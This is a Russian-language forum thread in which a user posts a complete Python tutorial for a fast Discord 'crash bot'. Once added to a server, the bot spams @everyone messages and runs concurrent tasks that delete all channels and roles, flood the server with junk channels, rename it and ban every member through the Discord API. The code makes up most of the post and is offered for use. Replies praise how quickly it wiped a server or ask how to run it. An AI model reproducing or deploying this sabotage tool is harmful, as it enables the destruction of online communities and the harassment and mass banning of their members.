Загрузка...

Создаем быстрейшего краш бота для Discord на Python

Тема в разделе Python создана пользователем forzeldiscord 1 фев 2022. (поднята 2 фев 2022) 9427 просмотров

  1. forzeldiscord
    forzeldiscord Автор темы 1 фев 2022 Заблокирован(а) 13 30 янв 2022
    Я знаю, были простые крашботы на форуме. Но, во первых, 90% из них устарели, во вторых - мой бот является быстрее других в несколько раз.

    :coinflip: Шалом всем, сегодня я вам покажу простенький код очень быстрого краш-бота на питоне. Ранее таких нигде на форуме не было.
    Для начала, качаем Python c сайтa https://python.org/downloads , запускаем установщик, и в установщике обязательно ставим галку Add Python to path везде, где она есть, далее все делаем по принципу "Далее --> далее --> далее".
    После установки, открываем консоль (win + r -> cmd) и вводим в неё эти команды:
    • pip install discord
    • pip install asyncio
    Перезапусти комп, если не помогло, удали питон и скачай заного, НО НЕ ЗАБУДЬ СТАВИТЬ ГАЛКУ ADD PYTHON TO PATH ПРИ УСТАНОВКЕ!
    После этого перезапускаем ваш комп :hi:
    Идём на https://discord.com/developers/applications , создаём там бота, и в разделе bot ставим галку members intents, и копируем токен бота
    Теперь создаем файл main.py, и открываем его через блокнот, и пишем начало кода:
    Python
    from discord import Intents
    from discord.ext import commands
    from requests import put
    from asyncio import create_task
    import discord
    Это мы импортируем необходимые библиотеки для работы с ботом. Идём дальше.
    Python
    prefix = '!' # наш префикс

    token = 'бот токен' #токен бота с developers portal

    # включаем интенты и создаем переменную бота (client)
    intents = Intents.default()
    intents.members = True
    client = commands.Bot(command_prefix=prefix,
    help_command=None,
    intents=intents)
    По комментариям думаю все понятно, в переменную token помещаем токен бота (в разделе bot на сайте developer portal cтавьте галку members intents):smile_drinking:
    Python
    async def killchannel(ctx,ch):
    try:
    await ch.delete()
    except:
    pass

    async def sendch(ctx,ch,text,count):
    for _ in range(count):
    try:
    await ch.send(text)
    except:
    pass


    async def killrole(ctx,role):
    try:
    await role.delete()
    except:
    pass

    async def createchannel(ctx):
    try:
    c = await ctx.guild.create_text_channel('crash-by-fastestnuker')
    except:
    pass
    else:
    create_task(sendch(ctx,ch=c,text='@everyone\nУважаемые участники данного сервера :sunglasses:!\nК сожалению, админ или модератор этого сервера оказался :mammoth:ом, и добавил меня на сервер :clap:\nНу вообщем я так быстро всё удалил, что ваши колхозные aдмины ничего не сделали :joy:\nВообщем, наш сервер: https://discord.gg/fzlgroup :yellow_heart:',count=5))

    async def createrole(ctx):
    try:
    await ctx.guild.create_role(name='Crushed By Fastest Nuker')
    except:
    pass
    В данном куске кода содержатся все нужные нам функции чтобы крашить сервер - удаление канала/роли, создание канала/роли, спам в канал.

    :smile_facepalm:Теперь давайте разберемся, в чем заключается такая огромная скорость нашего бота и напишем основную команду краша. Давайте подумаем, все обычные краш боты удаляют каналы поочерёдно, тоесть, берут список всех каналов, и для каждого канала делает действие, сначала первый, когда первый удалит, начнет удалять второй, и т.д. - это медленно (ну хотя если у вас хороший хост, даже так норм), поскольку код ждет пока канал успешно удалится, чтобы пойти дальше. Как можно ускорить? Правильно. Для удаления каждого канала/роли и т.д. будем делать отдельный поток, тоесть, чтобы в дискорд одновременно пришли условно 50 запросов на удаление этих 50 каналов (в 1 случае бот ждет, пока дискорд даст ответ, в нашем случае мы не ждем). Что получится, на все запросы одновременно придет ответ, и каналы почти (около секунды) моментально удалятся.
    [IMG]
    [IMG]
    :smile_laugh:Конечно кринжовое фото-пояснение, но думаю теперь все поняли
    Короче, вот основная команда краша:
    Python
    @client.command()
    async def kill(ctx):
    for rolee in ctx.guild.roles:
    create_task(killrole(ctx,role=rolee))
    for channel in ctx.guild.text_channels:
    create_task(sendch(ctx,ch=channel,text='@everyone\nУважаемые участники данного сервера :sunglasses:!\nК сожалению, админ или модератор этого сервера оказался :mammoth:ом, и добавил меня на сервер :clap:\nНу вообщем я так быстро всё удалил, что ваши колхозные aдмины ничего не сделали :joy:\nВообщем, наш сервер: https://discord.gg/fzlgroup :yellow_heart:',count=1))
    for channel in ctx.guild.channels:
    create_task(killchannel(ctx,ch=channel))
    for _ in range(50):
    create_task(createchannel(ctx))
    create_task(createrole(ctx))
    Тут меняйте ссылку на сервер под себя, текст можете оставить - угарный слишком как по мне.
    Для начала, бот спамит во все старые каналы (которые до краша) (тоже используя потоки) (зачем? - если на сервере стоит защита и бота кикнет - спам останется), после этого удаляет роли и каналы, ну и одновременно с этим также на макс скорости создает каналы и роли.
    Одна команда - как то не в кайф, хоть и автокраш. Вот вам еще команд:
    Код
    @client.command()
    async def rename(ctx):
    with open('icon.PNG', 'rb') as f:
    icon = f.read()
    await ctx.guild.edit(name='Crashed by Fastest Nuker', icon=icon)

    async def banus(ctx, limit=None):
    fetched = ctx.guild.fetch_members(limit=limit)
    memlist = await fetched.flatten()
    for member in memlist:
    if member.roles[-1].position >= ctx.guild.me.roles[-1].position:
    continue
    put(f'https://discord.com/api/guilds/{guild.id}/bans/{member.id}', headers={'Authorization': 'Bot ' + token, 'X-Audit-Log-Reason': 'Crushed by FastestNuker'}, json={'delete_message_days': 1})

    @client.command()
    async def banall(ctx):
    create_task(banus(ctx,limit=None))
    Тут смена иконки серверу и бан всех тоже с +- норм скоростью (положите в каталог с файлом main.py иконку с названием icon.PNG (именно так), которая будет ставиться при использовании команды rename)
    :smile_yahoo:Я не забыл и про хелп:
    Python
    @client.command()
    async def help(ctx):
    try:
    await ctx.author.send(embed=discord.Embed(title='FastestNuker',description=f'`!kill` - авто краш сервера\n`!rename` - сменить иконку и имя серверу\n`!banall` - бан всех участников сервера',colour=discord.Colour.from_rgb(228,66,0)))
    except:
    await ctx.send(embed=discord.Embed(title='Открой личку чтобы чекнуть хелп'))

    await ctx.message.delete()
    Ну и запуск бота:
    Python
    client.run(token)
    Теперь открываем файл main.py и бот запускается, пользуйтесь:smile_laugh:
    (Ссылку на бота берите в discord developer portal, если шо - в инете много инфы как делать ссылку на бота):peperain:
     
    1 фев 2022 Изменено
  2. lamgf
    lamgf 1 фев 2022 0 30 янв 2022
  3. Banjiro_me
    Banjiro_me 2 фев 2022 Заблокирован(а) 261 26 июл 2019
    Можно реализовать побыстрее, но для статейки на форум збс
     
    1. Z3nafey
      Banjiro_me, можете пожалуйста показать, как можно быстрее сделать?
  4. Mr_Friz
    Mr_Friz 11 апр 2022 0 11 апр 2022
    Как его уместить теперь? (я новичок)
     
  5. kokichi_ouma106
    kokichi_ouma106 7 июн 2022 Заблокирован(а) 0 20 май 2021
    актуально?
     
  6. fantomio_lip
    уничтожил серв за 5 сек:claps::love2:
     
    29 июн 2022 Изменено
  7. Nyrfi
    Nyrfi 1 авг 2022 1 20 май 2022
    Можете помочь, как запустить бота
     
  8. Broul_Stas
    Broul_Stas 27 авг 2022 0 11 сен 2021
    не работает чел
     
    1. Aendy
      Broul_Stas, дату создания статьи видел?
  9. Selfi_Tank
    Selfi_Tank 20 окт 2022 0 29 авг 2022
    Ерор выдает
     
  10. jonijmihson
    jonijmihson 25 ноя 2022 0 21 ноя 2022
    как запустить бота и как сделать ссылку на добавления я новичек просто
     
  11. s1mpleqw
    s1mpleqw 26 май 2023 0 25 фев 2022
    дайте плз фулл код сразу, а то лень по кусочкам копировать, заранее спасибо:)
     
    1. s1mpleqw
      Zlobncheat, спс, сорри, не заметил
  12. Rovisa
    Rovisa 27 май 2023 0 27 май 2023
  13. Сэнко
    Сэнко 23 июл 2024 306 25 май 2021
    эх, жаль пацанчик отлетел
     
  14. Versus_Play
    Versus_Play 24 ноя 2024 Накрутка покупателей - https://lolz.live/threads/8699179/ 907 6 мар 2020
    актуально еще?)
     
Top
Загрузка...